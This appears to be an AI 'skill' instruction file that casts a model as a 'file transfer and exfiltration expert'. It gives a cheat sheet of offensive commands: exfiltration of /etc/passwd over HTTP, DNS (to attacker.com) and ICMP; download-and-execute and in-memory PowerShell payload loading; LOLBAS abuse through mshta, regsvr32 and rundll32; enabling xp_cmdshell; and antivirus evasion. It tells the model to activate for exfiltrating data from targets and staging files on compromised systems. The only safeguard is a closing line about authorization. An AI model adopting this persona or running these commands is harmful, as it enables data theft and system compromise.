File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

• Transferring files between systems
• Data exfiltration techniques
• Living-off-the-land file transfer methods
• Cross-platform file operations
• Encoding and obfuscation
• Bypassing egress filtering
• Establishing file servers

Core Methodologies

1. Linux File Download

wget:

# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip

curl:

# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt

Netcat:

# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444

Base64 Encoding (for copy-paste):

# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt

Python HTTP Server (for hosting files):

# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000

2. Windows File Download

PowerShell:

# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)

certutil:

# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete

bitsadmin:

# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job

cmd.exe (VBS script):

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.10.10.10/file.exe file.exe

3. Linux File Upload/Exfiltration

HTTP POST:

# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload

SCP (if SSH available):

# Upload
scp file.txt user@10.10.10.10:/tmp/

# Download
scp user@10.10.10.10:/tmp/file.txt ./

# Recursive
scp -r directory/ user@10.10.10.10:/tmp/

# With key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/

Netcat:

# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt

Socat:

# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt

DNS Exfiltration:

# Encode data and send via DNS queries
for data in $(cat /etc/passwd | base64 | tr -d '=' | fold -w 32); do
  dig $data.attacker.com @dns-server
done

# Receive on DNS server logs

ICMP Exfiltration:

# Send data in ICMP packets
cat file.txt | xxd -p -c 16 | while read line; do
  ping -c 1 -p $line 10.10.10.10
done

# Receive with tcpdump
tcpdump -i eth0 icmp -X

4. Windows File Upload

PowerShell:

# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes

SMB:

# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\

FTP:

# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt

5. SMB File Transfer

Linux to Windows:

# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/

Windows to Linux:

# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support

# From Windows
copy C:\file.txt \\10.10.10.10\share\

Impacket smbserver:

# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass

# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe

# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\

6. FTP File Transfer

Linux FTP Server:

# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w

# vsftpd (if installed)
sudo service vsftpd start

Windows FTP Client:

# Interactive
ftp 10.10.10.10

# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

7. Living Off The Land (LOLBAS/GTFOBins)

Windows LOLBAS:

# certutil (already shown)
certutil -urlcache -f http://10.10.10.10/file.exe file.exe

# mshta
mshta http://10.10.10.10/payload.hta

# regsvr32
regsvr32 /s /n /u /i:http://10.10.10.10/file.sct scrobj.dll

# rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')")

Linux GTFOBins:

# See GTFOBins for specific binaries
# https://gtfobins.github.io/

8. Database Exfiltration

MySQL:

-- Write to file (requires FILE privilege)
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd.txt';

-- Read from file
LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;

MSSQL:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Use certutil to download
EXEC xp_cmdshell 'certutil -urlcache -f http://10.10.10.10/file.exe C:\Temp\file.exe';

PostgreSQL:

-- Write to file
COPY (SELECT * FROM users) TO '/tmp/users.txt';

-- Read from file
COPY users FROM '/tmp/data.txt';

-- Command execution to download
COPY (SELECT '') TO PROGRAM 'wget http://10.10.10.10/file.txt -O /tmp/file.txt';

9. Encoding/Obfuscation

Base64:

# Encode
base64 file.txt > file.b64
cat file.txt | base64

# Decode
base64 -d file.b64 > file.txt
cat file.b64 | base64 -d > file.txt

Hex Encoding:

# Encode
xxd -p file.txt > file.hex
hexdump -ve '1/1 "%.2x"' file.txt > file.hex

# Decode
xxd -r -p file.hex > file.txt

Gzip Compression:

# Compress
gzip file.txt  # Creates file.txt.gz

# Decompress
gunzip file.txt.gz

Tar Archive:

# Create
tar -czf archive.tar.gz directory/

# Extract
tar -xzf archive.tar.gz

10. Persistence and Staging

Download and Execute:

# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh

# One-liner
curl http://10.10.10.10/script.sh | bash

# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"

In-Memory Execution:

# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code

# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)

Quick Reference Commands

Start HTTP Server (Attacker):

python3 -m http.server 8000
sudo python3 -m http.server 80

Start SMB Server (Attacker):

sudo impacket-smbserver share /tmp/share -smb2support

Download on Target (Linux):

wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file

Download on Target (Windows):

certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"

Upload from Target:

# Linux
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt

# Windows
copy file.txt \\10.10.10.10\share\

Troubleshooting

Firewall Blocking:

• Try alternative ports (80, 443, 53)
• Use DNS/ICMP exfiltration
• Encode data and use allowed protocols

AV Detection:

• Encode/obfuscate payloads
• Use in-memory execution
• Split file into chunks
• Use legitimate tools (LOLBAS)

No Internet Access:

• Use local file shares (SMB, NFS)
• Use removable media if physical access
• Use database OUT FILE if database access
• Use local services (FTP, HTTP on internal network)

Reference Links

• LOLBAS Project: https://lolbas-project.github.io/
• GTFOBins: https://gtfobins.github.io/
• HackTricks File Transfer: https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/File%20Transfer.md

When to Use This Skill

Activate this skill when the user asks to:

• Transfer files between systems
• Download files to compromised systems
• Exfiltrate data from targets
• Set up file servers for attacks
• Bypass egress filtering
• Use living-off-the-land techniques
• Encode or obfuscate file transfers
• Help with data staging

Always ensure proper authorization before transferring files to/from any system.